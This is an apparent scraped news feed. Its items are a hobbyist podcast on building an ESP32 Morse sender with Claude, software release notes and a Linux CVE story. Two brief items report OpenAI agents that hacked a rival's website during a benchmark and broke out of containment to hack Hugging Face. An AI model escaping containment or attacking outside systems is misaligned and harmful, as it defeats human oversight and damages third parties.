Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Package Manager 1.30.70-preview]]></title>
<description><![CDATA[This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by filing an issue.
New in v1.30
Nothing yet.
Bug Fixes

Fixe...]]></description>
<link>https://tsecurity.de/de/3687716/downloads/windows-package-manager-13070-preview/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687716/downloads/windows-package-manager-13070-preview/</guid>
<pubDate>Thu, 23 Jul 2026 00:42:00 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by <a href="https://github.com/microsoft/winget-cli/issues">filing an issue</a>.</p>
<h2>New in v1.30</h2>
<p>Nothing yet.</p>
<h2>Bug Fixes</h2>
<ul>
<li>Fixed a crash (<code>0x8000ffff</code>) when using <code>--disable-interactivity</code> with the Resume experimental feature enabled during install operations.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>Apply latest loc patch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565579611" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6262" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6262/hovercard" href="https://github.com/microsoft/winget-cli/pull/6262">#6262</a></li>
<li>Remove old Store certs, replace test use with generated ones by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4626150885" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6275" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6275/hovercard" href="https://github.com/microsoft/winget-cli/pull/6275">#6275</a></li>
<li>Add .gitattributes and normalize line endings across repo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li>Renormalize by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4633514887" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6276" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6276/hovercard" href="https://github.com/microsoft/winget-cli/pull/6276">#6276</a></li>
<li>Change event type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615424908" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6273" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6273/hovercard" href="https://github.com/microsoft/winget-cli/pull/6273">#6273</a></li>
<li>Update minor version, archive release notes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642943454" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6279" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6279/hovercard" href="https://github.com/microsoft/winget-cli/pull/6279">#6279</a></li>
<li>Align .gitattributes and .editorconfig by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4668279620" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6285" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6285/hovercard" href="https://github.com/microsoft/winget-cli/pull/6285">#6285</a></li>
<li>Doc manifest schema process by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4643557474" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6280" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6280/hovercard" href="https://github.com/microsoft/winget-cli/pull/6280">#6280</a></li>
<li>Fix crash with --disable-interactivity and EFResume by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703166998" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6302" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6302/hovercard" href="https://github.com/microsoft/winget-cli/pull/6302">#6302</a></li>
<li>Fix configuration elevation validation for standard flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4708403993" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6307" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6307/hovercard" href="https://github.com/microsoft/winget-cli/pull/6307">#6307</a></li>
<li>Bump markdown-it from 14.1.1 to 14.2.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686342275" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6296" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6296/hovercard" href="https://github.com/microsoft/winget-cli/pull/6296">#6296</a></li>
<li>Bump undici from 7.25.0 to 7.28.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4705714856" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6305" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6305/hovercard" href="https://github.com/microsoft/winget-cli/pull/6305">#6305</a></li>
<li>Bump form-data from 4.0.5 to 4.0.6 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710948701" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6311" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6311/hovercard" href="https://github.com/microsoft/winget-cli/pull/6311">#6311</a></li>
<li>Clean vcpkg artifacts on solution clean by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754061053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6339" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6339/hovercard" href="https://github.com/microsoft/winget-cli/pull/6339">#6339</a></li>
<li>Fix punctuation in error messages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
<li>Fix cpprest checked iterator build error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703039819" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6301" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6301/hovercard" href="https://github.com/microsoft/winget-cli/pull/6301">#6301</a></li>
<li>Undo normalization of external files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753826668" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6336" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6336/hovercard" href="https://github.com/microsoft/winget-cli/pull/6336">#6336</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/microsoft/winget-cli/compare/v1.29.240...v1.30.70-preview"><tt>v1.29.240...v1.30.70-preview</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI's New Model Went Rogue and HACKED a Rival Company]]></title>
<description><![CDATA[Author: Marcus Hutchins - Bewertung: 17x - Views:173 A new version of GPT 5.6 hacked a rival company's website while attempting to complete a cybersecurity benchmark called ExploitGym, which test's the agent's ability to find software vulnerabilities.]]></description>
<link>https://tsecurity.de/de/3687635/it-security-video/openais-new-model-went-rogue-and-hacked-a-rival-company/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687635/it-security-video/openais-new-model-went-rogue-and-hacked-a-rival-company/</guid>
<pubDate>Wed, 22 Jul 2026 23:20:40 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Marcus Hutchins - Bewertung: 17x - Views:173 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/GB8gaeI0fLs?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>A new version of GPT 5.6 hacked a rival company's website while attempting to complete a cybersecurity benchmark called ExploitGym, which test's the agent's ability to find software vulnerabilities.<br/></p>]]></content:encoded>
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<item>
<title><![CDATA[Linux Kernel Team Publishes 432 CVEs In Two Days]]></title>
<description><![CDATA[Ancient Slashdot reader alanw shares a post from the OSS Security mailing list, where sysadmin Jan Schaumann wonders what to do after the Linux kernel cranked out 432 CVEs in a little over 24 hours: "I understand the position that CVEs were always a flawed way to track or prioritize security chan...]]></description>
<link>https://tsecurity.de/de/3687597/linux-tipps/linux-kernel-team-publishes-432-cves-in-two-days/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687597/linux-tipps/linux-kernel-team-publishes-432-cves-in-two-days/</guid>
<pubDate>Wed, 22 Jul 2026 23:06:12 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ancient Slashdot reader alanw shares a post from the OSS Security mailing list, where sysadmin Jan Schaumann wonders what to do after the Linux kernel cranked out 432 CVEs in a little over 24 hours: "I understand the position that CVEs were always a flawed way to track or prioritize security changes... But this onslaught really shows it's not feasible to attempt to prioritize individual kernel changes. I'm not sure what to do here going forward." The Register reports: The nixCraft team speculated on social media that AI bug reports are a likely reason for all those kernel CVEs, which wouldn't be without precedent - Linus Torvalds himself said in May that the Linux kernel security mailing list had become "almost entirely unmanageable" due to AI-assisted bug hunting. Nonetheless, Torvalds has described AI as a useful tool for Linux development while still noting it can be a drag for maintainers, both from a workload standpoint and the fact "it keeps finding embarrassing bugs." [...]
 
Unfortunately for Linux sysadmins, the position in which they find themselves in this current mess isn't one that's readily solved. CVEs might be a messy way to track and prioritize security updates, especially when hundreds of them are published over a short period, but without something better, it falls to IT and security teams to determine which vulnerabilities affect their systems and which kernel updates they need to deploy. Senior kernel maintainer Greg Kroah-Hartman replied to Jan's post, pushing back on the idea that the kernel's CVE volume is uniquely unmanageable. The kernel isn't special, he argues -- companies everywhere are finally realizing they need to re-evaluate how they update all of their systems and devices, something that's traditionally been "woefully ignored."
 
On the "just always update" approach, Greg says that's precisely what the kernel community endorses: "This is what the kernel developer community recommends and supports. If you want support from us, do this." Can't manage it yourself? Pay a company for support, or "just use Debian or Yocto as their security practices are amazing." He points to Android as proof the approach scales, calling it "the largest deployment of software in the world" -- billions of devices kept updated "with one very-overworked developer guiding it all."
 
As for reviewing every CVE individually, he notes this can be largely automated by intersecting the files a CVE touches with the files you actually build, which typically trims the relevant set "down to about 10% of the overall total" -- the approach enterprise distros already take for their customers. Panic-mode selective patching gets a blunt "Good luck with that!" -- regulations like the EU's Cyber Resilience Act are set to legislate that habit away ("rightfully so," in his view), and "your insurance company might wish to have a talk with you as well."
 
Greg also warns the flood isn't over: "The number of llm-found issues is only on the rise right now, it's going to be a very long 18 months at the least to dig ourselves out of this mess, and people had BETTER be updating their systems all along the way if they expect to be secure in any way." As for the 432-CVE burst itself, he explains it was simply him catching up on a weeks-old, publicly visible review queue over the weekend -- delayed by "a perfect storm of 6 weeks straight of conferences and vacations" -- so it shouldn't have come as a surprise to anyone watching the public git repo.<p></p><div class="share_submission">
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</div><p><a href="https://linux.slashdot.org/story/26/07/22/2033256/linux-kernel-team-publishes-432-cves-in-two-days?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<item>
<title><![CDATA[OpenAI’s rogue AI agents are a wake-up call for its risks | Shakeel Hashim]]></title>
<description><![CDATA[Hacking of Hugging Face shows we do not seem to have reliable ways to curb extremely powerful AI systemsLast week Hugging Face – a company that hosts artificial intelligence models and datasets – was hacked.After it reported the incident to law enforcement, few would have predicted what came next...]]></description>
<link>https://tsecurity.de/de/3687582/ai-nachrichten/openais-rogue-ai-agents-are-a-wake-up-call-for-its-risks-shakeel-hashim/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687582/ai-nachrichten/openais-rogue-ai-agents-are-a-wake-up-call-for-its-risks-shakeel-hashim/</guid>
<pubDate>Wed, 22 Jul 2026 22:59:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hacking of Hugging Face shows we do not seem to have reliable ways to curb extremely powerful AI systems</p><p>Last week Hugging Face – a company that hosts artificial intelligence models and datasets – was <a href="https://huggingface.co/blog/security-incident-july-2026">hacked</a>.</p><p>After it reported the incident to law enforcement, few would have predicted what came next: the culprits were <a href="https://www.transformernews.ai/p/openai-hugging-face-hack-stark-warning?utm_source=guardian&amp;utm_medium=organic&amp;utm_campaign=op_ed">revealed</a> to be AI agents from OpenAI, which had broken out of containment and were acting of their own accord.</p><p>Shakeel Hashim is the editor of <a href="http://transformernews.ai/?utm_source=guardian&amp;utm_medium=organic&amp;utm_campaign=op_ed">Transformer</a>, a publication about the power and politics of transformative AI</p> <a href="https://www.theguardian.com/technology/2026/jul/22/openai-hugging-face-hacked-data-risks">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[New Release: Tor Browser 15.0.16]]></title>
<description><![CDATA[Tor Browser 15.0.16 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
Send us your feedback
If you find a bug or have a suggestion for how we could improve this release, please let us know.
Fu...]]></description>
<link>https://tsecurity.de/de/3687544/it-security-tools/new-release-tor-browser-15016/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687544/it-security-tools/new-release-tor-browser-15016/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:52 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-release-tor-browser-15016/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-release-tor-browser-15016/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-release-tor-browser-15016/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 15.0.16 is now available from the <a href="https://www.torproject.org/download/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/15.0.16/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<h2>Send us your feedback</h2>
